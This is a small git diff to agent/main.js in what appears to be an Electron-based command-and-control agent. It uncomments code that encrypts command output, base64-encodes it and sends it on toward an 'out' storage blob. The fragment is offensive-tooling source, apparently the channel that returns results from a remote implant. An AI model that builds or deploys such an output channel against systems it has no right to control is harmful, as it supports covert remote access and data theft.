diff --git a/agent/main.js b/agent/main.js index b47c75f..e7b84c7 100644 --- a/agent/main.js +++ b/agent/main.js @@ -355,9 +355,9 @@ try{ key = Buffer.from(key, 'hex'); iv = Buffer.from(iv, 'hex'); fileop = false; - // let command_output = await func_Encrypt(ipcoutput, key,iv); - // command_output = await func_Base64_Encode(command_output); - // agentwindow.webContents.send('send-output',agent.container.name, agent.container.blobs['out'],command_output); + let command_output = await func_Encrypt(ipcoutput, key,iv); + command_output = await func_Base64_Encode(command_output); + agentwindow.webContents.send('send-output',agent.container.name, agent.container.blobs['out'],command_output); if (handover === false) { //execwindow.close(); @@ -366,4 +366,4 @@ try{ { func_log(`[!] Error in end-file-op IPC main.js ${error} ${error.stack}`); } -}); \ No newline at end of file +});